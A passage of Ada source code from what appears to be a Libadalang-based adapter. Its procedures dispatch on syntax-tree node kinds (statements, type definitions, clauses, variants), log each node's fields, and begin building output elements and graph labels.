Stmt : constant LAL.Handled_Stmts := LAL.F_Stmts (Decl_Block_Node);
End_Name : constant LAL.End_Name := LAL.F_End_Name (Decl_Block_Node);
begin
Log ("Decl: " & Decl.Debug_Text);
Log ("Stmt: " & Stmt.Debug_Text);
if not End_Name.Is_Null then
Log ("End_Name: " & End_Name.Debug_Text);
end if;
end;
This.Add_Not_Implemented;
when Ada_Case_Stmt =>
declare
Case_Stmt_Node : constant LAL.Case_Stmt := LAL.As_Case_Stmt (Node);
Expr : constant LAL.Expr := LAL.F_Expr (Case_Stmt_Node);
Alternatives : constant LAL.Case_Stmt_Alternative_List := LAL.F_Alternatives (Case_Stmt_Node);
begin
Log ("Expr: " & Expr.Debug_Text);
Log ("Alternatives: " & Alternatives.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Extended_Return_Stmt =>
declare
Extended_Return_Stmt_Node : constant LAL.Extended_Return_Stmt := LAL.As_Extended_Return_Stmt (Node);
Decl_Stmt : constant LAL.Extended_Return_Stmt_Object_Decl := LAL.F_Decl (Extended_Return_Stmt_Node);
Stmt : constant LAL.Handled_Stmts := LAL.F_Stmts (Extended_Return_Stmt_Node);
begin
Log ("Decl_Stmt: " & Decl_Stmt.Debug_Text);
Log ("Stmt: " & Stmt.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_If_Stmt =>
declare
If_Stmt_Node : constant LAL.If_Stmt := LAL.As_If_Stmt (Node);
Then_Stmt : constant LAL.Stmt_List := LAL.F_Then_Stmts (If_Stmt_Node);
Alternative : constant LAL.Elsif_Stmt_Part_List := LAL.F_Alternatives (If_Stmt_Node);
Else_Stmt : constant LAL.Stmt_List := LAL.F_Else_Stmts (If_Stmt_Node);
begin
Log ("Then_Stmt: " & Then_Stmt.Debug_Text);
Log ("Alternative: " & Alternative.Debug_Text);
Log ("Else_Stmt: " & Else_Stmt.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Named_Stmt =>
declare
Named_Stmt_Node : constant LAL.Named_Stmt := LAL.As_Named_Stmt (Node);
Decl_Stmt : constant LAL.Named_Stmt_Decl := LAL.F_Decl (Named_Stmt_Node);
Stmt : constant LAL.Composite_Stmt := LAL.F_Stmt (Named_Stmt_Node);
begin
Log ("Decl_Stmt: " & Decl_Stmt.Debug_Text);
Log ("Stmt: " & Stmt.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Select_Stmt =>
declare
Select_Stmt_Node : constant LAL.Select_Stmt := LAL.As_Select_Stmt (Node);
Guards : constant LAL.Select_When_Part_List := LAL.F_Guards (Select_Stmt_Node);
Else_Stmt : constant LAL.Stmt_List := LAL.F_Else_Stmts (Select_Stmt_Node);
Abort_Stmts : constant LAL.Stmt_List := LAL.F_Abort_Stmts (Select_Stmt_Node);
begin
Log ("F_Guards: " & Guards.Debug_Text);
Log ("F_Else_Stmts: " & Else_Stmt.Debug_Text);
Log ("F_Abort_Stmts: " & Abort_Stmts.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Error_Stmt =>
declare
Error_Stmt_Node : constant LAL.Error_Stmt := LAL.As_Error_Stmt (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Abort_Stmt =>
declare
Abort_Stmt_Node : constant LAL.Abort_Stmt := LAL.As_Abort_Stmt (Node);
Names : constant LAL.Name_List := LAL.F_Names (Abort_Stmt_Node);
begin
Log ("F_Names: " & Names.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Assign_Stmt =>
declare
Assign_Stmt_Node : constant LAL.Assign_Stmt := LAL.As_Assign_Stmt (Node);
Dest : constant LAL.Name := LAL.F_Dest (Assign_Stmt_Node);
Expr : constant LAL.Expr := LAL.F_Expr (Assign_Stmt_Node);
begin
Log ("F_Dest: " & Dest.Debug_Text);
Log ("F_Expr: " & Expr.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Call_Stmt =>
declare
Call_Stmt_Node : constant LAL.Call_Stmt := LAL.As_Call_Stmt (Node);
Call : constant LAL.Name := LAL.F_Call (Call_Stmt_Node);
begin
Log ("F_Call: " & Call.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Delay_Stmt =>
declare
Delay_Stmt_Node : constant LAL.Delay_Stmt := LAL.As_Delay_Stmt (Node);
Has_Until : constant Boolean := LAL.F_Has_Until (Delay_Stmt_Node);
Seconds : constant LAL.Expr := LAL.F_Expr (Delay_Stmt_Node);
begin
Log ("F_Has_Until: " & Boolean'Image (Has_Until));
Log ("Seconds: " & Seconds.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Exit_Stmt =>
declare
Exit_Stmt_Node : constant LAL.Exit_Stmt := LAL.As_Exit_Stmt (Node);
Loop_Name : constant LAL.Identifier := LAL.F_Loop_Name (Exit_Stmt_Node);
Cond_Expr : constant LAL.Expr := LAL.F_Cond_Expr (Exit_Stmt_Node);
begin
if not Loop_Name.Is_Null then
Log ("F_Loop_Name: " & Loop_Name.Debug_Text);
end if;
if not Cond_Expr.Is_Null then
Log ("F_Cond_Expr: " & Cond_Expr.Debug_Text);
end if;
end;
This.Add_Not_Implemented;
when Ada_Goto_Stmt =>
declare
Goto_Stmt_Node : constant LAL.Goto_Stmt := LAL.As_Goto_Stmt (Node);
Label : constant LAL.Name := LAL.F_Label_Name (Goto_Stmt_Node);
begin
Log ("F_Label_Name: " & Label.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Label =>
declare
Label_Node : constant LAL.Label := LAL.As_Label (Node);
Label_Decl : constant LAL.Label_Decl := LAL.F_Decl (Label_Node);
begin
Log ("F_Decl: " & Label_Decl.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Null_Stmt =>
declare
Null_Stmt_Node : constant LAL.Null_Stmt := LAL.As_Null_Stmt (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
when Ada_Raise_Stmt =>
declare
Raise_Stmt_Node : constant LAL.Raise_Stmt := LAL.As_Raise_Stmt (Node);
Exception_Name : constant LAL.Name := LAL.F_Exception_Name (Raise_Stmt_Node);
Error_Message : constant LAL.Expr := LAL.F_Error_Message (Raise_Stmt_Node);
begin
Log ("F_Exception_Name: " & Exception_Name.Debug_Text);
if not Error_Message.Is_Null then
Log ("Error_Message: " & Error_Message.Debug_Text);
end if;
end;
This.Add_Not_Implemented;
when Ada_Requeue_Stmt =>
declare
Requeue_Stmt_Node : constant LAL.Requeue_Stmt := LAL.As_Requeue_Stmt (Node);
Call_Name : constant LAL.Name := LAL.F_Call_Name (Requeue_Stmt_Node);
Has_Abort : constant Boolean := LAL.F_Has_Abort (Requeue_Stmt_Node);
begin
Log ("F_Call_Name: " & Call_Name.Debug_Text);
Log ("F_Has_Abort: " & Boolean'Image (Has_Abort));
end;
This.Add_Not_Implemented;
when Ada_Return_Stmt =>
declare
Return_Stmt_Node : constant LAL.Return_Stmt := LAL.As_Return_Stmt (Node);
Return_Expr : constant LAL.Expr := LAL.F_Return_Expr (Return_Stmt_Node);
begin
Log ("F_Return_Expr: " & Return_Expr.Debug_Text);
end;
This.Add_Not_Implemented;
when Ada_Terminate_Alternative =>
declare
Terminate_Alternative_Node : constant LAL.Terminate_Alternative := LAL.As_Terminate_Alternative (Node);
begin
NULL;
end;
This.Add_Not_Implemented;
end case;
exception
when X : External_Error | Internal_Error | Usage_Error =>
raise;
when X: others =>
Log_Exception (X);
Log ("No handler for this exception. Raising Internal_Error");
raise Internal_Error;
end Process_Ada_Stmt;
procedure process_ada_Subp_Kind
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Subp_Kind";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Subp_Kind := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Subp_Kind
case kind is
when ada_Subp_Kind_Function =>
declare
Subp_Kind_Function_Node : constant LAL.Subp_Kind_Function := LAL.As_Subp_Kind_Function (Node);
begin
NULL;
end;
when ada_Subp_Kind_Procedure =>
declare
Subp_Kind_Procedure_Node : constant LAL.Subp_Kind_Procedure := LAL.As_Subp_Kind_Procedure (Node);
begin
NULL;
end;
end case;
end process_ada_Subp_Kind;
procedure process_ada_Subunit_Range
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Subunit_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Subunit_Range := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Subunit_Range
case kind is
when ada_Subunit =>
declare
Subunit_Node : constant LAL.Subunit := LAL.As_Subunit (Node);
name : constant LAL.Name := LAL.F_Name (Subunit_Node);
f_body : constant LAL.Body_Node := LAL.F_Body (Subunit_Node);
body_root : constant LAL.Basic_Decl := LAL.P_Body_Root (Subunit_Node);
begin
Log ("name: " & name.Debug_Text);
Log ("f_body: " & f_body.Debug_Text);
Log ("body_root: " & body_root.Debug_Text);
end;
end case;
end process_ada_Subunit_Range;
procedure process_ada_Synchronized_Node
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Synchronized_Node";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Synchronized_Node := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Synchronized_Node
case kind is
when ada_Synchronized_Absent =>
declare
Synchronized_Absent_Node : constant LAL.Synchronized_Absent := LAL.As_Synchronized_Absent (Node);
begin
NULL;
end;
when ada_Synchronized_Present =>
declare
Synchronized_Present_Node : constant LAL.Synchronized_Present := LAL.As_Synchronized_Present (Node);
begin
NULL;
end;
end case;
end process_ada_Synchronized_Node;
procedure process_ada_Tagged_Node
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Tagged_Node";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Tagged_Node := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Tagged_Node
case kind is
when ada_Tagged_Absent =>
declare
Tagged_Absent_Node : constant LAL.Tagged_Absent := LAL.As_Tagged_Absent (Node);
begin
NULL;
end;
when ada_Tagged_Present =>
declare
Tagged_Present_Node : constant LAL.Tagged_Present := LAL.As_Tagged_Present (Node);
begin
NULL;
end;
end case;
end process_ada_Tagged_Node;
procedure process_ada_Task_Def_Range
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Task_Def_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Task_Def_Range := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Task_Def_Range
case kind is
when ada_Task_Def =>
declare
Task_Def_Node : constant LAL.Task_Def := LAL.As_Task_Def (Node);
interfaces : constant LAL.Parent_List := LAL.F_Interfaces (Task_Def_Node);
public_part : constant LAL.Public_Part := LAL.F_Public_Part (Task_Def_Node);
private_part : constant LAL.Private_part := LAL.F_Private_Part (Task_Def_Node);
end_name : constant LAL.End_Name := LAL.F_End_Name (Task_Def_Node);
begin
Log ("interfaces: " & interfaces.Debug_Text);
Log ("public_part: " & public_part.Debug_Text);
if not private_part.Is_Null then
Log ("private_part: " & private_part.Debug_Text);
end if;
Log ("end_name: " & end_name.Debug_Text);
end;
end case;
end process_ada_Task_Def_Range;
procedure process_ada_Type_Def
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Def_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Type_Def := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Type_Def
case kind is
when ada_Access_To_Subp_Def =>
declare
Access_To_Subp_Def_Node : constant LAL.Access_To_Subp_Def := LAL.As_Access_To_Subp_Def (Node);
has_protected : constant Boolean := LAL.F_Has_Protected (Access_To_Subp_Def_Node);
sub_spec : constant LAL.Subp_Spec := LAL.F_Subp_Spec (Access_To_Subp_Def_Node);
begin
Log ("has_protected: " & Boolean'Image(has_protected));
Log ("sub_spec: " & sub_spec.Debug_Text);
end;
when ada_Anonymous_Type_Access_Def =>
declare
Anonymous_Type_Access_Def_Node : constant LAL.Anonymous_Type_Access_Def := LAL.As_Anonymous_Type_Access_Def (Node);
type_decl : constant LAL.Base_Type_Decl := LAL.F_Type_Decl (Anonymous_Type_Access_Def_Node);
begin
Log ("type_decl: " & type_decl.Debug_Text);
end;
when ada_Type_Access_Def =>
declare
Type_Access_Def_Node : constant LAL.Type_Access_Def := LAL.As_Type_Access_Def (Node);
has_all : constant Boolean := LAL.F_Has_All (Type_Access_Def_Node);
has_constant : constant Boolean := LAL.F_Has_Constant (Type_Access_Def_Node);
begin
Log ("has_all: " & Boolean'Image(has_all));
Log ("has_constant: " & Boolean'Image(has_constant));
end;
when ada_Array_Type_Def =>
declare
Array_Type_Def_Node : constant LAL.Array_Type_Def := LAL.As_Array_Type_Def (Node);
indices : constant LAL.Array_Indices := LAL.F_Indices (Array_Type_Def_Node);
component_type : constant LAL.Component_Def := LAL.F_Component_Type (Array_Type_Def_Node);
begin
Log ("indices: " & indices.Debug_Text);
Log ("component_type: " & component_type.Debug_Text);
end;
when ada_Derived_Type_Def =>
declare
Derived_Type_Def_Node : constant LAL.Derived_Type_Def := LAL.As_Derived_Type_Def (Node);
interfaces : constant LAL.Parent_List := LAL.F_Interfaces (Derived_Type_Def_Node);
record_extension : constant LAL.Base_Record_Def := LAL.F_Record_Extension (Derived_Type_Def_Node);
has_with_private : constant Boolean := LAL.F_Has_With_Private (Derived_Type_Def_Node);
begin
if not interfaces.Is_Null then
Log ("interfaces: " & interfaces.Debug_Text);
end if;
if not record_extension.Is_Null then
Log ("record_extension: " & record_extension.Debug_Text);
end if;
Log ("has_with_private: " & Boolean'Image(has_with_private));
end;
when ada_Enum_Type_Def =>
declare
Enum_Type_Def_Node : constant LAL.Enum_Type_Def := LAL.As_Enum_Type_Def (Node);
enum_literals : constant LAL.Enum_Literal_Decl_List := LAL.F_Enum_Literals (Enum_Type_Def_Node);
begin
Log ("enum_literals: " & enum_literals.Debug_Text);
end;
when ada_Formal_Discrete_Type_Def =>
declare
Formal_Discrete_Type_Def_Node : constant LAL.Formal_Discrete_Type_Def := LAL.As_Formal_Discrete_Type_Def (Node);
begin
NULL;
end;
when ada_Interface_Type_Def =>
declare
Interface_Type_Def_Node : constant LAL.Interface_Type_Def := LAL.As_Interface_Type_Def (Node);
interface_kind : constant LAL.Interface_Kind := LAL.F_Interface_Kind (Interface_Type_Def_Node);
begin
Log ("interface_kind: " & interface_kind.Debug_Text);
end;
when ada_Mod_Int_Type_Def =>
declare
Mod_Int_Type_Def_Node : constant LAL.Mod_Int_Type_Def := LAL.As_Mod_Int_Type_Def (Node);
expr : constant LAL.Expr := LAL.F_Expr (Mod_Int_Type_Def_Node);
begin
Log ("expr: " & expr.Debug_Text);
end;
when ada_Private_Type_Def =>
declare
Private_Type_Def_Node : constant LAL.Private_Type_Def := LAL.As_Private_Type_Def (Node);
has_abstract : constant Boolean := LAL.F_Has_Abstract (Private_Type_Def_Node);
has_tagged : constant Boolean := LAL.F_Has_Tagged (Private_Type_Def_Node);
has_limited : constant Boolean := LAL.F_Has_Limited (Private_Type_Def_Node);
begin
Log ("has_abstract: " & Boolean'Image(has_abstract));
Log ("has_tagged: " & Boolean'Image(has_tagged));
Log ("has_limited: " & Boolean'Image(has_limited));
end;
when ada_Decimal_Fixed_Point_Def =>
declare
Decimal_Fixed_Point_Def_Node : constant LAL.Decimal_Fixed_Point_Def := LAL.As_Decimal_Fixed_Point_Def (Node);
f_delta : constant LAL.Expr := LAL.F_Delta (Decimal_Fixed_Point_Def_Node);
f_digits : constant LAL.Expr := LAL.F_Digits (Decimal_Fixed_Point_Def_Node);
f_range : constant LAL.Range_Spec := LAL.F_Range (Decimal_Fixed_Point_Def_Node);
begin
Log ("f_delta: " & f_delta.Debug_Text);
Log ("f_digits: " & f_digits.Debug_Text);
if not f_range.Is_Null then
Log ("f_range: " & f_range.Debug_Text);
end if;
end;
when ada_Floating_Point_Def =>
declare
Floating_Point_Def_Node : constant LAL.Floating_Point_Def := LAL.As_Floating_Point_Def (Node);
num_digits : constant LAL.Expr := LAL.F_Num_Digits (Floating_Point_Def_Node);
f_range : constant LAL.Range_Spec := LAL.F_Range (Floating_Point_Def_Node);
begin
Log ("num_digits: " & num_digits.Debug_Text);
if not f_range.Is_Null then
Log ("f_range: " & f_range.Debug_Text);
end if;
end;
when ada_Ordinary_Fixed_Point_Def =>
declare
Ordinary_Fixed_Point_Def_Node : constant LAL.Ordinary_Fixed_Point_Def := LAL.As_Ordinary_Fixed_Point_Def (Node);
f_delta : constant LAL.Expr := LAL.F_Delta (Ordinary_Fixed_Point_Def_Node);
f_range : constant LAL.Range_Spec := LAL.F_Range (Ordinary_Fixed_Point_Def_Node);
begin
Log ("f_delta: " & f_delta.Debug_Text);
Log ("f_range: " & f_range.Debug_Text);
end;
when ada_Record_Type_Def =>
declare
Record_Type_Def_Node : constant LAL.Record_Type_Def := LAL.As_Record_Type_Def (Node);
has_abstract : constant Boolean := LAL.F_Has_Abstract (Record_Type_Def_Node);
has_tagged : constant Boolean := LAL.F_Has_Tagged (Record_Type_Def_Node);
has_limited : constant Boolean := LAL.F_Has_Limited (Record_Type_Def_Node);
begin
Log ("has_abstract: " & Boolean'Image(has_abstract));
Log ("has_tagged: " & Boolean'Image(has_tagged));
Log ("has_limited: " & Boolean'Image(has_limited));
end;
when ada_Signed_Int_Type_Def =>
declare
Signed_Int_Type_Def_Node : constant LAL.Signed_Int_Type_Def := LAL.As_Signed_Int_Type_Def (Node);
f_range : constant LAL.Range_Spec := LAL.F_Range (Signed_Int_Type_Def_Node);
begin
Log ("f_range: " & f_range.Debug_Text);
end;
end case;
end process_ada_Type_Def;
procedure process_ada_Type_Expr
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Type_Expr";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Type_Expr := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Type_Expr
case kind is
when ada_Anonymous_Type =>
declare
Anonymous_Type_Node : constant LAL.Anonymous_Type := LAL.As_Anonymous_Type (Node);
type_Decl : constant LAL.Anonymous_Type_Decl := LAL.F_Type_Decl (Anonymous_Type_Node);
begin
Log ("type_Decl: " & type_Decl.Debug_Text);
end;
when ada_Enum_Lit_Synth_Type_Expr =>
declare
Enum_Lit_Synth_Type_Expr_Node : constant LAL.Enum_Lit_Synth_Type_Expr := LAL.As_Enum_Lit_Synth_Type_Expr (Node);
begin
NULL;
end;
when ada_Subtype_Indication =>
declare
Subtype_Indication_Node : constant LAL.Subtype_Indication := LAL.As_Subtype_Indication (Node);
has_not_null : constant Boolean := LAL.F_Has_Not_Null (Subtype_Indication_Node);
name : constant LAL.Name := LAL.F_Name (Subtype_Indication_Node);
constraint : constant LAL.Constraint := LAL.F_Constraint (Subtype_Indication_Node);
begin
Log ("has_not_null: " & Boolean'Image(has_not_null));
Log ("name: " & name.Debug_Text);
if not constraint.Is_Null then
Log ("constraint: " & constraint.Debug_Text);
end if;
end;
when ada_Constrained_Subtype_Indication =>
declare
Constrained_Subtype_Indication_Node : constant LAL.Constrained_Subtype_Indication := LAL.As_Constrained_Subtype_Indication (Node);
begin
NULL;
end;
when ada_Discrete_Subtype_Indication =>
declare
Discrete_Subtype_Indication_Node : constant LAL.Discrete_Subtype_Indication := LAL.As_Discrete_Subtype_Indication (Node);
begin
NULL;
end;
end case;
end process_ada_Type_Expr;
procedure process_ada_Unconstrained_Array_Index_Range
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Unconstrained_Array_Index_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Unconstrained_Array_Index_Range := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Unconstrained_Array_Index_Range
case kind is
when ada_Unconstrained_Array_Index =>
declare
Unconstrained_Array_Index_Node : constant LAL.Unconstrained_Array_Index := LAL.As_Unconstrained_Array_Index (Node);
begin
NULL;
end;
end case;
end process_ada_Unconstrained_Array_Index_Range;
procedure process_ada_Until_Node
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Until_Node";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Until_Node := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Until_Node
case kind is
when ada_Until_Absent =>
declare
Until_Absent_Node : constant LAL.Until_Absent := LAL.As_Until_Absent (Node);
begin
NULL;
end;
when ada_Until_Present =>
declare
Until_Present_Node : constant LAL.Until_Present := LAL.As_Until_Present (Node);
begin
NULL;
end;
end case;
end process_ada_Until_Node;
procedure process_ada_Use_Clause
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Use_Clause";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Use_Clause := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Use_Clause
case kind is
when ada_Use_Package_Clause =>
declare
Use_Package_Clause_Node : constant LAL.Use_Package_Clause := LAL.As_Use_Package_Clause (Node);
packages : constant LAL.Name_List := LAL.F_Packages (Use_Package_Clause_Node);
begin
Log ("packages: " & packages.Debug_Text);
end;
when ada_Use_Type_Clause =>
declare
Use_Type_Clause_Node : constant LAL.Use_Type_Clause := LAL.As_Use_Type_Clause (Node);
has_all : constant Boolean := LAL.F_Has_All (Use_Type_Clause_Node);
types : constant LAL.Name_List := LAL.F_Types (Use_Type_Clause_Node);
begin
Log ("has_all: " & Boolean'Image(has_all));
Log ("types: " & types.Debug_Text);
end;
end case;
end process_ada_Use_Clause;
procedure process_ada_Variant_Range
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Variant_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Variant_Range := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Variant_Range
case kind is
when ada_Variant =>
declare
Variant_Node : constant LAL.Variant := LAL.As_Variant (Node);
choices : constant LAL.Alternatives_List := LAL.F_Choices (Variant_Node);
components : constant LAL.Component_List := LAL.F_Components (Variant_Node);
begin
Log ("choices: " & choices.Debug_Text);
Log ("components: " & components.Debug_Text);
end;
end case;
end process_ada_Variant_Range;
procedure process_ada_Variant_Part_Range
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_Variant_Part_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_Variant_Part_Range := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_Variant_Part_Range
case kind is
when ada_Variant_Part =>
declare
Variant_Part_Node : constant LAL.Variant_Part := LAL.As_Variant_Part (Node);
discr_name : constant LAL.Identifier := LAL.F_Discr_Name (Variant_Part_Node);
variant : constant LAL.Variant_List := LAL.F_Variant (Variant_Part_Node);
begin
Log ("discr_name: " & discr_name.Debug_Text);
Log ("variant: " & variant.Debug_Text);
end;
end case;
end process_ada_Variant_Part_Range;
procedure process_ada_With_Clause_Range
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_With_Clause_Range";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_With_Clause_Range := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_With_Clause_Range
case kind is
when ada_With_Clause =>
declare
With_Clause_Node : constant LAL.With_Clause := LAL.As_With_Clause (Node);
packages : constant LAL.Name_List := LAL.F_Packages (With_Clause_Node);
has_private : constant Boolean := LAL.F_Has_Private (With_Clause_Node);
has_limited : constant Boolean := LAL.F_Has_Limited (With_Clause_Node);
begin
Log ("packages: " & packages.Debug_Text);
Log ("has_private: " & Boolean'Image(has_private));
Log ("has_limited: " & Boolean'Image(has_limited));
end;
end case;
end process_ada_With_Clause_Range;
procedure process_ada_With_Private
(this : in out class;
-- node : in lal.stmt'class;
node : in lal.ada_node'class)
is
parent_name : constant string := module_name;
module_name : constant string := parent_name & ".process_With_Private";
package logging is new generic_logging (module_name); use logging;
-- auto : logging.auto_logger; -- logs begin and end
-- will raise declarative_part_error if node.kind is not in ada_stmt:
kind : constant lalco.ada_With_Private := node.kind;
use lalco; -- for subtype names in case stmt
begin -- process_ada_With_Private
case kind is
when ada_With_Private_Absent =>
declare
With_Private_Absent_Node : constant LAL.With_Private_Absent := LAL.As_With_Private_Absent (Node);
begin
NULL;
end;
when ada_With_Private_Present =>
declare
With_Private_Present_Node : constant LAL.With_Private_Present := LAL.As_With_Private_Present (Node);
begin
NULL;
end;
end case;
end process_ada_With_Private;
-- Do_Pre_Child_Processing and Do_Post_Child_Processing below are preserved
-- from Asis_Adapter for familiarity.
--
-- Asis_Adapter.Unit.Process indirectly calls Asis_Adapter.Element.
-- Process_Element_Tree, which calls an instance of generic
-- Asis.Iterator.Traverse_Element, instantiated with
-- Do_Pre_Child_Processing and Do_Post_Child_Processing.
--
-- Lal_Adapter.Unit.Process indirectly calls LAL.Compilation_Unit.Traverse
-- with a pointer that indrectly calls Lal_Adapter.Node.Process, which calls
-- Do_Pre_Child_Processing and Do_Post_Child_Processing.
procedure Do_Pre_Child_Processing
(This : in out Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Do_Pre_Child_Processing";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
Result : a_nodes_h.Element_Struct renames This.A_Element;
Sloc_Range_Image : constant string := Slocs.Image (Node.Sloc_Range);
Kind : constant LALCO.Ada_Node_Kind_Type := Node.Kind;
Kind_Image : constant String := LALCO.Ada_Node_Kind_Type'Image (Kind);
Kind_Name : constant String := Node.Kind_Name;
Debug_Text : constant String := Node.Debug_Text;
procedure Add_Element_ID is begin
-- ID is in the Dot node twice (once in the Label and once in
-- Node_ID), but not in the a_node twice.
This.Add_To_Dot_Label (To_String (This.Element_IDs.First_Element));
Result.id := This.Element_IDs.First_Element;
end;
procedure Add_Node_Kind is begin
This.Add_To_Dot_Label ("Node_Kind", Kind_Image);
-- TODO: Result.Element_Kind := anhS.To_Element_Kinds (Element_Kind);
end;
procedure Add_Source_Location is
Unit : constant LAL.Analysis_Unit := Node.Unit;
File_Name : constant String := Unit.Get_Filename;
Sloc_Range : constant Slocs.Source_Location_Range := Node.Sloc_Range;
Image : constant String := To_String (Node.Full_Sloc_Image);
begin
This.Add_To_Dot_Label ("Source", Image);
Result.Source_Location :=
(Unit_Name => To_Chars_Ptr (File_Name),
First_Line => Interfaces.C.int (Sloc_Range.Start_Line),
First_Column => Interfaces.C.int (Sloc_Range.Start_Column),
Last_Line => Interfaces.C.int (Sloc_Range.End_Line),
Last_Column => Interfaces.C.int (Sloc_Range.End_Column));
end;
procedure Add_Enclosing_Element is
Value : constant a_nodes_h.Element_ID :=
-- Get_Element_ID (Node.P_Semantic_Parent);
Get_Element_ID (Node.Parent);
begin
-- State.Add_Dot_Edge (From => Enclosing_Element_Id,
-- To => State.Element_Id,
-- Label => "Child");
This.Add_To_Dot_Label ("Enclosing_Element", Value);
Result.Enclosing_Element_Id := Value;
end;
procedure Start_Output is
Default_Node : Dot.Node_Stmt.Class; -- Initialized
Default_Label : Dot.HTML_Like_Labels.Class; -- Initialized
-- Parent_Name : constant String := Module_Name;
-- Module_Name : constant String := Parent_Name & ".Start_Output";
-- package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
begin -- Start_Output
-- Set defaults:
Result := a_nodes_h.Support.Default_Element_Struct;
This.Outputs.Text.End_Line;
-- Element ID comes out on next line via Add_Element_ID:
This.Outputs.Text.Put_Indented_Line (String'("BEGIN "));
This.Outputs.Text.Indent;
This.Dot_Node := Default_Node;
This.Dot_Label := Default_Label;
-- Get ID:
